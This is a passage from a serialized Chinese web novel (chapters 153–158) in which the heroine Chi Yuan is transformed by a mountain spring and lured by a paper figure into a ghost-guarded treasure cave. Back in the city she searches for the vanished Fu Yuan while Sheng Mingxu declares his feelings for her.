于是,卓婷带着几分焦急和不安,向同行的伙伴们提议道:“要不咱们回酒店吧,这山看着实在太险峻了,爬上去太累,而且我一个人在山下也不安全。” 然而,已经有几个女生兴致勃勃地准备去买票上山了,她们眼中闪烁着期待的光芒,不想白白错过这次亲近自然、挑战自我的机会。 其中一个女生笑着回应卓婷:“来都来了,好不容易有这样的机会,不上去看看多可惜呀,你也一起坐索道上去吧,别怕。” 但卓婷还是连连摇头,内心的担忧让她难以改变主意,就这样,大家的意见出现了分歧,一时间场面有些僵持。 她把目光转向池鸢,这个身形圆润的姑娘,平日里就嚷嚷着要减肥。卓婷灵机一动,像是抓住了救命稻草般说道:“要不,你陪我上山吧。”在卓婷心里,有池鸢作伴,既能解了她独自在山下的担忧,又能有个照应。 池鸢听后,果断地摇了摇头,脸上满是坚定:“我打算自己爬山减肥呢。”对于减肥这件事,池鸢可是下了决心的,每一次锻炼的机会她都不想错过。 “这么高的山,你确定要爬?”卓婷难以置信地看着池鸢,光是想象那漫长又陡峭的山路,她就觉得浑身乏力,累意仿佛已经席卷而来。 池鸢用力地点点头,没有再多说什么,抬腿便朝着登山步道迈出了第一步。起初,池鸢步伐轻快,满心都是对减肥成功的憧憬。可没爬多久,她的呼吸就急促起来,脚步也变得沉重不堪。 每迈出一步,都像是拖着千斤的重担,豆大的汗珠从额头滚落,顺着脸颊不停地往下滴。 “好累啊。”她忍不住叹了口气,但一想到自己的减肥目标,还是咬咬牙,默默地坚持着继续爬山。 当池鸢艰难地爬到半山腰时,眼前出现了一汪清澈的泉水。阳光洒在水面上,波光粼粼,仿佛无数颗细碎的钻石在闪烁。池鸢又累又渴,迫不及待地快步走过去,蹲下身子,双手捧起一捧泉水喝了下去。清凉甘甜的泉水顺着喉咙流下,瞬间驱散了身体的燥热和疲惫。 就在这时,池鸢眼角的余光瞥见一个小小的身影落入水中。她定睛一看,竟是自己随身携带的那个纸片人。此刻,它正飘在水面上,一动不动,就像一片无助的落叶。“这下可怎么办。”池鸢心急如焚,那纸片人对她来说意义非凡,她绝对不能让它就这么泡坏了。 于是,她顾不上许多,撩起裤腿便小心翼翼地踏入水中。水有些凉意,让她不禁打了个寒颤。可池鸢顾不了这些,一心只想把纸片人捞回来。然而,那纸片人就像故意和她作对似的,随着水波不停地飘动。池鸢刚伸手去够,它就飘向了另一边,怎么也抓不住。 第154章 旅馆 池鸢身着一袭单薄长裙,发丝在微风中肆意飘散。她眼神游离,神色间满是落寞与迷茫,缓缓踱步至池边。突然,像是被无形的力量牵引,她的眼眸瞬间失去焦距,双眼一闭,身体如断了线的风筝般直直地朝池中倒去,“扑通”一声,激起大片水花,整个人迅速沉入池中。 池水澄澈,日光艰难地穿透水面,在水中投射出斑驳光影。池中央,本有一处泉眼不断冒着细密水泡,一串串水泡升腾、破裂。只是彼时的池鸢,满心被无尽的哀伤与混沌思绪占据,对那泉眼毫无察觉,就这样毫无防备地朝着危险靠近。 冰冷刺骨的泉水,裹挟着彻骨寒意,不由分说地朝着池鸢的口鼻疯狂灌涌。起初,她还能隐隐分辨出这水带着山间特有的清冽与甘甜,混杂着矿物质微微的酸涩,可此刻,满心的绝望让她觉得多咽下几口也无妨。 咕噜咕噜,几大口泉水入腹,寒意从四肢百骸迅速蔓延至全身。她的意识渐渐变得模糊不清,眼皮愈发沉重,四肢也像是被灌了铅般沉重乏力。身体不受控制地一点点向下沉去,每下沉一分,周遭就愈发黑暗、寂静,直到彻底没入水底,陷入无尽的黑暗之中。 不知昏睡了多久,池鸢悠悠转醒。映入眼帘的是一片刺目的天光,她这才发现自己已然躺在了岸边,是被人打捞了上来。可紧接着,一股浓烈刺鼻、令人作呕的恶臭扑面而来,她下意识地捂住口鼻,却发现这臭味竟来自自己身上。那股味道像是腐肉、淤泥与污水混合发酵后的产物,熏得她几欲作呕。 而那些好心打捞她的人,本围在四周,此刻也被这难以忍受的气味冲击得东倒西歪,接连晕倒在地。池鸢见状,顾不上许多,强忍着身上的不适与恶臭,跌跌撞撞地朝着山下奔去。 她心中只有一个念头,就是找个地方清洗干净。终于,她冲进了山下的厕所。站在那有些斑驳的镜子前,池鸢呆住了,镜中的人,模样竟全然改变,皮肤变得粗糙干裂,原本明亮的双眸此刻布满血丝,头发湿漉漉地黏在脸上,像是换了个人。 池鸢满心疑惑,难道这池水竟有洗筋伐髓的奇效?她细细感受,只觉浑身轻快,原本因体弱时常感到的气血不足之感消失不见,连呼吸都前所未有的顺畅,每一次吐纳都像是在汲取天地间的灵气。 可当她再次看向镜中的自己,模样的变化还是让她心里“咯噔”一下。原本圆润的脸庞变得线条分明,五官似乎也重新排列组合,虽说整个人看起来愈发精神,却和之前判若两人。她深知,这样巨大的变化,同行的人只要看一眼便会察觉。 好在她生性喜静,一路上与同行人交流甚少,多数时候都是独来独往。细细想来,这群人里,唯一和她有些交集的,也就只有卓婷了。 池鸢望着镜中的自己,心中满是忧虑。她深知,若以这副模样回到众人身边,定会引起轩然大波。“不能让卓婷认出我,起码现在不行。”她暗自思忖,脑海中迅速盘算起应对之策。 离开厕所后,池鸢在山林间寻了处隐蔽之地,扯下藤蔓与树叶,简单做了个遮挡面容的伪装。随后,她装作若无其事的样子,朝着众人驻扎的营地走去。 刚踏入营地,卓婷便迎了上来,目光在池鸢身上打量一番,眼神中闪过一丝疑惑:“你这一路上跑哪去了?大家都在找你。”池鸢强装镇定,压低声音说道:“方才在林子里迷了路,不小心摔了一跤,耽搁了些时间。”说话间,她刻意别过头,避免与卓婷对视。 夜里,众人围坐在篝火旁休息。池鸢独自缩在角落,尽量降低自己的存在感。然而,卓婷却像是察觉到了什么,时不时投来探寻的目光。突然,卓婷站起身,径直朝池鸢走来,在她身旁坐下,轻声问道:“你是不是有什么事瞒着我?我总觉得你怪怪的。” 池鸢的心猛地一紧,手心瞬间沁出冷汗,她佯装镇定地笑了笑:“能有什么事,你别瞎想了。” 池鸢仰头望向渐暗的天色,墨蓝色的夜幕正一点点吞噬着天边残余的霞光,浓稠的暮色仿若墨汁般肆意晕染。她秀眉微蹙,满心忧虑,忍不住开口说道:“这么晚了,大家还不下山,呆在这深山里,难道不危险吗?”声音里裹挟着几分急切与不安。 同行的伙伴闻声,随意地摆了摆手,语气轻松:“等人啊。还有好些人没从山上下来呢,大家一起出来玩,肯定得等齐了。”池鸢环顾四周,只见周围的人或三两成群闲聊,或悠闲地坐在一旁喝水休息,全然没有即将入夜被困山中的紧张感。 夜色愈发深沉,如一块厚重的黑布,沉甸甸地压下来。领队站在一块稍高的石头上,手中拿着名单,扯着嗓子挨个点名,那洪亮的声音在空旷的山间回荡。池鸢看着这一幕,心中不禁泛起一丝无奈,这群人可真是不慌不忙,做什么都慢慢悠悠的。不过转念一想,大家难得出来游玩,本就是为了放松心情,如此惬意倒也符合此刻的氛围。 这时,领队扯着嗓子大声宣布:“大家别担心,山上有旅馆,今晚咱们就在那儿过夜,条件虽然比不上城里,但好歹能遮风挡雨!”众人听后,纷纷收拾起行装,跟着领队朝旅馆的方向走去。 一进旅馆,一股陈旧的气息扑面而来,那是岁月沉淀下来的味道,混合着潮湿的水汽和不知名的霉味。昏黄黯淡的灯光在头顶摇摇晃晃,像是随时都会熄灭,勉强照亮着狭小逼仄的空间。墙壁上的石灰大片剥落,露出斑驳的墙体,仿佛在诉说着往昔的故事。 地面是粗糙的水泥地,因常年踩踏磨损,显得坑洼不平,稍不留意就可能被绊倒。前台处,一位头发花白的老人正坐在那里,眼神浑浊,面无表情地看着众人鱼贯而入,手指有一下没一下地敲打着桌面,发出单调沉闷的声响,为这寂静的氛围更添几分压抑。 一进旅馆,陈旧的气息扑面而来,木质地板踩上去“嘎吱”作响,墙壁上的水渍如狰狞鬼脸。昏黄黯淡的灯光在头顶摇晃,勉强驱散着角落里的黑暗。 众人忙着登记入住,池鸢站在一旁,警惕地观察着四周,生怕有人再对她的身份起疑。这时,一个工作人员提着灯笼走过来,粗声粗气地说:“行李放这儿,自己找房间,二楼东边那几间别去,门锁坏了不安全。” 卓婷还在不远处若有所思地看着池鸢,突然朝她喊道:“池鸢,咱俩一间房,方便照应。”池鸢心里一沉,面上却不好拒绝,只能硬着头皮答应。 进了房间,狭小的空间里摆着两张简陋的单人床。卓婷把包往床上一扔,便开始翻找洗漱用品,一边找一边说:“今天这事儿太奇怪了,你走丢后,我总感觉有什么地方不对劲。”池鸢背对着她,手忙脚乱地整理床铺,敷衍道:“能有啥奇怪的,就是一场小意外罢了。” 收拾完,池鸢借口去厕所,想暂时躲开卓婷那探寻的目光。她沿着昏暗的走廊前行,路过二楼东边那几间被警告不能去的房间时,一阵微风吹过,其中一扇虚掩的门缓缓晃动,发出“吱呀”的声响。 “池鸢,你在看什么。”卓婷的声音从身后突兀响起,打断了池鸢的思绪。 池鸢转过身,眉头轻皱,眼中满是嫌弃,“这旅馆也太差了,又破又旧,一股子霉味。我家也是开酒店的,前段时间刚重新修建升级,环境和这儿比起来,简直一个天上一个地下。”言语间,不自觉流露出一丝优越感。 “你家开酒店的?真巧,我家也有酒店。”卓婷一听,顿时来了兴致,原本就灵动的双眼此刻更是熠熠生辉。她微微扬起下巴,神色中带着几分自豪,开始侃侃而谈,“我家的可是连锁高端品牌酒店,在全国各地都有分店,从选址、装修到服务,每一处细节都精益求精。酒店里的套房,光卫生间就比这个房间还大,设施都是顶级的,连洗护用品都是定制的高端货。”她一边说,一边用手比划着,仿佛那些豪华的场景就在眼前。 池鸢静静地听着,脸上保持着礼貌性的微笑,心里却波澜起伏。她当然知道卓婷说的那家酒店,在业内颇具名气,没想到卓婷竟然出身于这样的豪门家庭。想到这儿,池鸢不禁有些自惭形秽,原本那点因自家酒店而生的优越感瞬间消散得无影无踪,只能在心底默默感叹人和人之间的差距。 第155章 石头 夜幕低垂,篝火堆噼里啪啦地燃烧着,火星子时不时往上蹿,映红了围坐一圈的人们的脸庞。 几杯酒下肚,大家的话匣子打开了,你一言我一语,话题不知不觉就转到了如何发家致富上。气氛热烈,每个人都带着微醺的兴奋。 这时,领队凑了过来,神秘兮兮地压低声音,目光透着一丝狡黠:“跟你们说,这山里可有个神秘的洞,里面的石头可都是宝贝,价值连城,要是能弄出来,下半辈子都不用愁了。” 这话就像一颗投入平静湖面的石子,瞬间激起千层浪。众人一下子来了精神,原本昏昏欲睡的眼神瞬间变得明亮,七嘴八舌地追问起来。 有人急着问具体位置,有人好奇石头的模样,还有人开始幻想暴富后的生活,眼里满是按捺不住的跃跃欲试。 “我也是听老一辈说的,这洞口啊,隐蔽得很,这么多年我一直没找到。不过,保不齐谁运气好就能碰上,到时候可就发达了。”领队喝了口酒,咂咂嘴,笑着补充道,那笑容里似乎藏着无尽的期待。 夜深了,众人陆续回到各自的帐篷休息。池鸢躺在睡袋里,翻了个身,刚一闭眼,就感觉有刺眼的光晃着。她迷迷糊糊地睁开眼,一束强光直直地打在脸上,刺得她瞬间清醒。 定睛一看,竟是那个纸片小人。它悬浮在空中,周身散发着奇异的光芒,把整个帐篷都照亮了。 池鸢瞬间清醒,下意识地扭头看向一旁熟睡的卓婷,生怕吵醒了她。她屏气敛息,赶忙伸手去扑那小人,动作又快又轻,可还是扑了个空。 小人在空中轻盈地转了个圈,笑嘻嘻地看着她,那模样,仿佛在故意逗她。笑声虽轻,却像有魔力一般,挠得池鸢心里痒痒的。 池鸢又惊又奇,不禁心想:这纸片人居然还会笑?还没等她多想,小人就转身朝着帐篷外飘去,一边飘还一边回头,像是在招呼她跟上。池鸢鬼使神差地起身,披上外套,跟了上去。 月光洒在山间小路上,一人一纸片,一路朝着山的另一边跑去,身影渐渐消失在夜色中。 池鸢跟着纸片人一路疾行,脚下的路崎岖难辨,也不知走了多久。她气喘吁吁地回头,只见酒店的轮廓在视线里越来越小,最终缩成了一个微不足道的小点,隐没在朦胧的夜色里。 “不行,不能再往前走了。”池鸢心里一慌,脚步也停了下来,暗自思忖着,再走下去,自己肯定回不去了。 她刚要开口跟纸片人表明回去的想法,脚下突然一空,整个人不受控制地向前扑去,紧接着便“扑通”一声掉进了一个深不见底的洞里。 这个洞黑黢黢的,深不见底,可奇怪的是,坠落过程中,池鸢感觉有一股无形的力量轻轻托着自己,减缓了下落的速度。 还没等她完全弄清楚状况,身体便重重地砸向了地面,发出一声清脆的闷响。池鸢疼得倒吸一口凉气,挣扎着站起身来。 周围一片死寂,安静得让人心里发毛。她颤抖着手,掏出手机打开手电筒功能。一瞬间,刺眼的光芒驱散了黑暗,眼前的景象让她惊得合不拢嘴。 只见四周堆满了闪闪发光的金银财宝,珍珠、翡翠、玛瑙散落一地,金杯、银盏、玉如意层层叠叠。这些宝贝像是被精心摆放过,却又随意散落,不用任何开采挖掘,就这么赤裸裸地呈现在她眼前。 “我找到了,我发财了!”池鸢激动得声音都在颤抖,不敢相信自己的眼睛,幸福来得太突然,让她感觉像是在做梦。 池鸢激动得浑身颤抖,正准备大肆搜罗一番这些金银财宝,突然下意识地抬起头,只见不远处有一张奢华至极的椅子,椅身镶嵌着五彩斑斓的水晶,在手机光线的映照下熠熠生辉。而在那椅子的中央,竟端坐着一具骷髅。 这具骷髅身着华丽腐朽的长袍,空洞的眼窝直直地对着池鸢,仿佛在凝视着她的一举一动。池鸢吓得心脏猛地一缩,差点惊叫出声,双腿发软,差点瘫倒在地。 她再也顾不上眼前的财宝,转身想要逃离这个可怕的地方。可还没跑出几步,前方突然涌出一团团漆黑如墨的鬼影,张牙舞爪地堵住了她的去路。冰冷的气息扑面而来,让池鸢忍不住打了个寒颤。 慌乱之中,池鸢四处寻找着纸片人的身影,终于在角落里发现了它,连忙喊道:“纸片人,快想办法,带我逃离这里!” “逃离?没可能。”一个阴森森的声音从鬼影中传出,紧接着一只由黑烟凝聚而成的手猛地伸出,一把抓住池鸢的手臂。那只黑手与池鸢白皙的皮肤形成了鲜明的对比,仿佛是光明与黑暗的碰撞。池鸢只感觉一股刺骨的寒意顺着手臂蔓延至全身,身体也像是被定住了一般,动弹不得。 池鸢瞪大双眼,眼眶里蓄满了恐惧与绝望的泪水,只觉眼前这一切荒谬至极,一定是一场可怖的噩梦。她在心底疯狂呐喊,一遍又一遍地告诉自己:快醒来!快醒来! 可无论她如何挣扎,眼皮像是被胶水粘住,意识也被死死困在这片黑暗的绝境中,怎么也醒不过来。冷汗不断从额头冒出,浸湿了她的鬓发,双腿也因过度恐惧而止不住地颤抖,每一次呼吸都像是在抽噎。 在这绝望的时刻,池鸢突然想起之前纸片人带她穿梭山林时,似乎对这里的诡异环境毫无惧意,也许它知晓破解之法。池鸢强忍着恐惧,用颤抖的声音朝纸片人喊道:“你一定有办法的,对不对?求你救救我!” 纸片人在空中快速旋转了几圈,突然化作一道流光,径直冲向那具骷髅。只见它围绕着骷髅飞速盘旋,每转一圈,骷髅身上就会散发出一阵淡淡的蓝光,那些鬼影似乎也受到了蓝光的震慑,原本张牙舞爪的动作变得迟缓起来,抓着池鸢的黑手也不自觉地松了几分。 “你不用害怕。”那鬼影突然开口。 第156章 担 夜色浓稠如墨,墨色仿佛能顺着人的毛孔渗进骨髓,让人无端生出寒意。山洞入口被厚重的夜幕彻底吞噬,洞内弥漫着令人胆寒的死寂,仿佛时间都在此刻凝固。 一道飘忽不定的鬼影,于昏暗中以诡异的速度迅速凝聚,周遭的空气似乎都因这股力量而扭曲、震荡。不过眨眼之间,那团黑影竟转变成了人的身体。 待身形彻底凝实,出现在眼前的,是个长相极为好看的男子。他面容白皙如玉,剑眉星目,轮廓线条优美而柔和,透着几分书卷气,举手投足间尽显文雅。可此刻,他脸上写满了惊恐与茫然,明亮的双眼慌乱地四处游移,平日的镇定全然消失不见。 眼前发生的一切,实在是越来越不可思议了。山洞内,烟雾缭绕,朦胧得好似梦境,可那刺鼻的腐朽气息却不断冲击着鼻腔,提醒着这并非虚幻。丝丝缕缕的烟雾在洞壁上投射出怪异的影子,给这奇异的场景添上了一抹更加神秘莫测的色彩。 池鸢嘴唇颤抖,每一次开合都像是用尽了全身的力气,声音带着明显的颤抖和恐惧,嗫嚅着开口:“不好意思,我可能走错路了。我……我本是途径此地,想借这山洞暂避风雨,实在无意冒犯。”他一边说着,一边微微侧身,手指下意识地指向洞口的方向,仿佛这样便能证明自己所言非虚。 阴森的角落里,男人发出冰冷刺骨的声音,仿若从九幽地狱传来:“来了就别想走。”每一个字都裹挟着无尽的寒意,在空旷的山洞里回荡,震得洞顶的碎石簌簌落下,令空气都仿佛冻结。 池鸢“扑通”一声跪倒在地,膝盖重重磕在满是尘土的地面上,发出沉闷的声响,双手合十,不断哀求:“鬼影大人,你放了我吧,我知道错了。家里还有父母,他们还盼着我归家,若是我就此消失,他们该如何是好啊。求求您大发慈悲,饶我这一次。”他的身体止不住地颤抖,额头紧紧贴在地面上,泪水顺着脸颊滑落,在尘土中砸出小小的湿痕。 鬼影瞧着池鸢哭得这般伤心,那尖锐刺耳的哭声在山洞中不断回荡,扰得它心中竟生出一丝烦躁,又或是别的难以名状的情绪,终是不耐地摆摆虚幻的手,开口道:“你走吧。” “可,可以吗?”池鸢听闻这话,像是不敢置信,猛地抬头,双眼还噙着泪花,目光中满是惊惶与犹疑,直直地望向鬼影,声音因激动和紧张而微微发颤。 男子缓缓点头,脸上露出一抹意味深长的笑,那笑容在这阴森的环境中显得格外诡异:“可是这地方好不容易才来的,什么都不要就走了吗?”他的语调微微上扬,尾音拖得长长的,像是在刻意诱惑。 紧接着,鬼影的声音再度响起,冰冷中似乎又带着几分蛊惑:“我可是能实现你的任何愿望。”声音在山洞中悠悠回荡,仿若带着一股无形的魔力。 池鸢先是一怔,脑海中瞬间闪过无数画面,可很快,她又像是想到了什么可怕的事情,慌乱地摇头,嗫嚅着:“我没有愿望。”话落,她又顿了顿,在心中暗自想着,如果真要说有,算了吧……她可不敢奢望和鬼做生意,谁知道会付出怎样可怕的代价。 就在这时,一阵剧烈的头疼毫无征兆地袭来,池鸢双手紧紧抱住脑袋,痛苦地蜷缩在地上,五官因疼痛而扭曲。 “算了,在这里,不能说不要,不要抵抗内心的欲望,那是在损耗你的身体。”鬼影的声音冷冷传来,仿佛在宣读着不可违背的规则。 “那就送我回家吧。”池鸢咬了咬下唇,犹豫再三后,鼓起勇气说道,声音里带着一丝孤注一掷的决绝。此刻的她,满心只想逃离这个充满未知与恐惧的地方,回到那个她熟悉的、能给予她安全感的家。 “送你回家,你真的想去?”鬼影轻轻摇了摇头,那原本就缥缈的身形在烟雾中晃动得愈发厉害,它的声音里竟隐隐透着几分嘲讽,似乎已经洞悉了池鸢内心深处连她自己都未曾察觉的想法。 “回去吧你。”不等池鸢开口回应,一股强劲而又冰冷刺骨的风猛地袭来,那风仿佛裹挟着无尽的黑暗力量,瞬间将池鸢笼罩其中。她只觉眼前天旋地转,身体不受控制地被一股巨大的力量拉扯着,耳边风声呼啸,恐惧如潮水般将她彻底淹没。 待风停之后,池鸢缓缓睁开双眼,发现自己已经站在了公司门口。熟悉的建筑,昏黄的路灯,一切都是那么的真实,可刚刚在山洞里的恐怖经历又仿佛是一场醒不来的噩梦。 就在这时,手机铃声突兀地响起,在这寂静的夜晚显得格外刺耳。池鸢手忙脚乱地掏出手机,屏幕上闪烁着“傅渊”两个字。她微微一愣,犹豫了片刻后,还是按下了接听键。 “池鸢,对不起。”傅渊的声音从电话那头传来,带着几分疲惫与愧疚。 池鸢听着电话那头的声音,心中涌起一股复杂的情绪,脱口问道:“为什么。” 傅渊开始解释,可他讲话一字一顿,语句简短得根本不像他平时的风格。池鸢听着那些解释,只觉得莫名荒唐,一种难以言喻的不安在心底蔓延开来。她的眉头越皱越紧,眼神中满是疑惑与迷茫,下意识地抱紧了自己的双臂,仿佛这样就能抵御即将到来的未知危机。 “不对,这一定不是你。”池鸢的直觉告诉她,电话那头的人即便声音像傅渊,可语气神态却与她熟知的那个他判若两人。她的心猛地一揪,一种强烈的不安充斥着全身,“傅渊,我们见一面吧。”池鸢几乎是带着哭腔再三恳求道,她迫切地想要弄清楚到底发生了什么。 然而,回应她的只有电话挂断后的“嘟嘟”声,那声音仿佛是一把重锤,狠狠地砸在她的心上,让她只觉犹如天塌一般。刚刚从鬼影那里死里逃生的庆幸瞬间被这突如其来的打击冲散,她的身体晃了晃,差点站立不稳。 池鸢好不容易才稳住身形,恢复了些许平静,心中还抱着一丝希望,满心欢喜地等待着傅渊回心转意,或许会再打来电话答应见面。 可就在这时,手机铃声再度响起,来电显示是盛明栩。池鸢犹豫了一下,还是接通了电话。 “池鸢,你去哪了。”盛明栩的声音带着一丝焦急。 “我在公司。”池鸢有气无力地回答道。 “让你参加游学,你不打个招呼就跑回去了?大家都急死了。”盛明栩的语气中透着不满和担忧。 “嗯?”池鸢一愣,完全没想到是这样的事情,她的思绪还沉浸在傅渊的异常中,一时有些反应不过来。 “算了。”盛明栩似乎也察觉到池鸢的不在状态,没等她回应,便也挂断了电话。 听着手机里再次传来的忙音,池鸢只觉得满心的失落和迷茫,“都一样。”她喃喃自语着,缓缓垂下头,眼泪在眼眶里打转。这一连串的变故让她感到无比的疲惫和无助,不知道该如何面对接下来的一切。 挂断电话后,池鸢心中的不安愈发强烈,没再多做犹豫,她迅速驱车前往傅氏集团。一路上,城市的灯光如幻影般飞速掠过,可她满心都是傅渊那异常的态度,根本无心欣赏。 抵达傅氏集团楼下时,池鸢顾不上整理被风吹乱的头发,便匆匆朝大楼内奔去。她心急如焚,一心只想见到傅渊,听他给自己一个合理的解释。 然而,当她说明来意后,却被前台告知:“傅总不要公司了,有事外出了。”这个消息如同一记闷棍,打得池鸢有些发懵。 “不要公司了?怎么可能,这到底是怎么回事?他去了哪里?”池鸢连珠炮似的发问,声音中满是不可置信与焦急。 前台工作人员面露难色,无奈地摇了摇头,表示并不清楚详情。池鸢又赶忙向傅渊的秘书和其他熟悉的员工打听,可得到的都是相同的答案——没人知道傅渊去了哪里。 池鸢站在大厅中央,只觉得周遭的一切都变得虚幻起来。傅渊突然的辞职、外出,没有任何预兆,也没有留下任何线索,这实在是太不合理了。 她紧咬下唇,双手不自觉地攥成拳头,指甲深深陷入掌心,却浑然不觉疼痛,满心都是对未知的恐惧和对傅渊的担忧。 第157章 小聚 池鸢满心都是傅渊的下落,她急切地想从曾经的熟人那里打听些消息。就在这时,手机铃声骤然响起,来电显示是池宜。 “喂,池宜。”池鸢接起电话,声音里还带着一丝探寻的急切。 “池鸢啊,我家小孩要过生日啦,想请你来参加生日聚会呢,可一定要来啊!”池宜的声音热情洋溢,透着为人母的喜悦。 池鸢稍作犹豫,想到自己正想从熟人处打听消息,便应了下来。 生日聚会定在一家高档酒楼,池宜大手一挥包下了场地。现场热闹非凡,欢声笑语此起彼伏,众多大人小孩齐聚一堂,这些都是池宜在公司的朋友以及相识的熟人。池鸢刚踏入酒楼,池宜就眼尖地看到了她,连忙抱着宝宝迎了上来。 “池鸢,你可算来啦,随便找地方坐哈。咦,你妈妈怎么没来呀?你还可以多喊几个朋友一起来的嘛。”池宜一边热情地招呼着,一边轻轻晃着怀里的宝宝。 池鸢的目光落在那小家伙身上,小家伙似乎比上次见面又长大了不少,正睁着圆溜溜的眼睛好奇地打量着周围,嘴里还时不时发出咿咿呀呀的声音,像是在学说话。池鸢勉强扯出一丝笑容,正要开口,话到嘴边却变成了:“池宜,傅渊不见了,你最近有看见他吗?” 池宜刚要回答,却被不远处的尉迟延喊住了。尉迟延手里握着精致的酒杯,身着笔挺的西装,匆匆走来,神色间带着几分对应酬的热忱。“宜宜,快过来,这边领导等着呢,一起去敬杯酒。”说着,便拉着池宜快步离去。 池鸢望着他们离去的背影,无奈地叹了口气,找了个空位缓缓坐下。眼前满桌的珍馐佳肴,色香味俱全,可她却丝毫没有胃口。 而在不远处,同样没什么胃口的还有盛明栩。只见他抬手松了解脖子上那略显束缚的领带,在这满是小朋友欢声笑语、色彩斑斓的场合里,他高大冷峻的身影显得格格不入,莫名有点滑稽。盛明栩注意到池鸢的目光,主动走了过来,解释道:“我是特地来看你的。” 池鸢挑了挑眉,嘴角微微上扬,似笑非笑地说:“算得可真够准的。” 盛明栩微微苦笑,“家里催婚催得紧,就盼着早点抱孙子呢。我想着来这儿沾沾喜气,说不定还能有点用处。” “那你在这附近到处走走转转吧,说不定运气好就能碰上他。”池鸢头也不抬,眼睛直勾勾地盯着手机屏幕,手指机械地划动着,可心思压根不在手机上,心里像被一块沉甸甸的大石头压着,难受极了。 盛明栩瞧出了她的心不在焉,关切地问道:“你到底怎么了?要是有烦心事,就在电话里跟我说说呗。” 池鸢深吸一口气,声音里满是焦急与担忧:“傅渊不见了,你知不知道他到底去哪了?” 盛明栩听了,不禁笑了笑,语气轻松地安慰道:“你别这么紧张兮兮的,他一个大男人,还能出什么事?说不定就是出去办点事,指不定坐飞机到哪个城市去了呢,总不可能一天24小时都守在你身边吧。”说着,他顺手拿起桌上的红酒瓶,熟练地拧开瓶盖,给自己倒了一杯,仰头一饮而尽。不知是因为刚才话说得多了,还是这气氛有些压抑,他只觉得口干舌燥。 池鸢却依旧沉浸在自己的思绪里,冷不丁冒出一句:“钱玲为什么会甩了他呢?”话一出口,她又暗自懊恼,心想这事儿和自己又有什么关系呢,何必瞎操心。 盛明栩见她眉头紧锁、神思不属的模样,忍不住劝道:“别再想这些有的没的了,放松点。今晚就好好放松放松,把烦心事都抛到脑后去。” 可池鸢哪能这么轻易就释怀,对她而言,这根本不可能。回想起过去那些不成熟的日子,她满心懊悔,暗暗发誓以后可不能再和傅渊纠缠不清了。这么想着,她一把抓起旁边的包包,起身就往外走。 盛明栩见状,立刻跟在她身后。两人一前一后走到车旁,池鸢刚拉开车门坐进去,就听到另一侧车门被打开的声音。她心里一沉,虽然隐隐有所预料,但当这一幕真的发生时,男人那扑面而来的强势还是让她有些措手不及,一时间竟不知道该如何应对。 男人坐进车里,顺手关上了车门,狭小的车厢瞬间被他强势的气息填满。池鸢下意识地往边上缩了缩,双手不自觉地抓紧了包包,像是那是她唯一的依靠。 “池鸢,你到底怎么了?别一直这样不说话。”盛明栩的声音低沉而有力,带着不容拒绝的压迫感。 池鸢咬了咬嘴唇,抬起头,目光直视前方,冷冷地说:“我说了,我和傅渊的事,不用你管。” “我怎么能不管?”盛明栩突然提高了音量,情绪有些激动,“你知不知道,看到你这么难过,我心里有多难受?” 池鸢闻言,转过头,难以置信地看着他,“你难受?盛明栩,你凭什么觉得你有资格说这种话?我们不过是普通朋友。” 盛明栩被她的话噎住,脸上闪过一丝受伤的神情,但很快又恢复了那副强硬的模样。“普通朋友?池鸢,你别自欺欺人了。这么多年,我的心意你难道一点都感觉不到?” 池鸢的心里猛地一震,她不是没有察觉到盛明栩对她的感情,只是一直刻意回避。此刻,被他当面戳破,竟有些慌乱。“明栩,你别这样。我现在真的没心思谈这些。” 盛明栩深吸一口气,努力让自己冷静下来,“好,不谈这个。但你总得告诉我,你打算怎么找傅渊?” 池鸢沉默了片刻,缓缓说:“我会先联系他的朋友和家人,再查查他最近的行踪记录。” “我帮你。”盛明栩毫不犹豫地说,“多一个人多一份力量,总比你一个人瞎找强。” 池鸢刚想拒绝,可看着盛明栩坚定的眼神,到嘴边的话又咽了回去。她无奈地点点头,神色满是疲惫与迷茫,“你可帮不了我,你知道我最近发生了什么。” “发生什么了?”盛明栩微微皱眉,眼中满是关切,往前倾了倾身子,似乎想从池鸢的表情里提前捕捉到答案。 “我看见了鬼。”池鸢声音干涩,像是鼓起了极大的勇气才把这几个字说出口,说完后便紧紧盯着盛明栩,观察他的反应。 盛明栩听到这话,先是一怔,随即长嘘口气,像是在心里验证了某个猜想。他沉默片刻,突然没头没脑地来了一句:“我知道傅渊为什么玩失踪了,你疯了。” 第158章 故 夜色浓稠如墨,唯有街边的路灯散发着昏黄黯淡的光,给这寂静的夜晚添了几分朦胧。一辆黑色的轿车静静地停在路边,车内的气氛却压抑得让人喘不过气来。 隔了许久,池鸢才缓缓地放松身体,重重地靠在座椅靠背上,她轻启朱唇,声音里满是疲惫与无奈:“不行就算了,反正你也帮不上忙。”她微微偏过头,看向车窗外,发丝随着动作滑落,遮住了她眼中一闪而过的失落。 盛明栩坐在副驾驶座上,对池鸢此刻的反应十分不满,剑眉微微皱起,眼神里带着几分不甘。可女人那冰冷的态度,又让他无可奈何,架不住她三番五次地赶自己下车。他不禁在心底暗暗思忖,眼前的池鸢,和自己以前认识的她,简直判若两人。 诚然,她的样貌依旧美得让人移不开眼,那精致的五官,仿佛是上天精心雕琢的艺术品,岁月似乎没有在她脸上留下一丝痕迹。可她的性格,却像是被重新塑造了一般。 以前的她,温柔似水,说话轻声细语,连走路都是轻轻盈盈的。可现在,却好似一团热烈的火焰,性格火辣,言语间也多了几分锐利,让人难以靠近。 盛明栩深吸一口气,觉得有些事还是有必要提醒一下,他转过头,看向池鸢,神色关切:“开车慢点,注意安全。”然而,池鸢就像没听见他的话一样,连一个眼神都没给他。 紧接着,她一脚踩下油门,轿车如离弦之箭般冲了出去,差点撞到站在车旁的盛明栩。盛明栩下意识地往后退了一大步,脸上闪过一丝惊愕,望着绝尘而去的车影,久久伫立在原地,神色复杂。 夜幕像一块厚重的黑色绸缎,沉甸甸地压在城市上空。池鸢坐在驾驶座上,双手紧握着方向盘,指节因用力而泛白。汽车引擎的轰鸣声在寂静的夜里格外突兀,她一脚油门踩下,车子如脱缰的野马般疾驰而出,迅速远离了那座让她心烦意乱的宅邸,也远离了盛明栩。 风从半开的车窗灌进来,肆意撩动着她的发丝,可她却浑然不觉。目光直直地盯着前方,城市的霓虹灯在眼中闪烁跳跃,却无法照亮她此刻迷茫的心。她不知道该驶向何方,大脑一片空白,如同一张没有着墨的白纸,找不到一丝前行的头绪。 “我到底该去哪儿?”池鸢喃喃自语,声音被呼啸的风声瞬间吞噬。 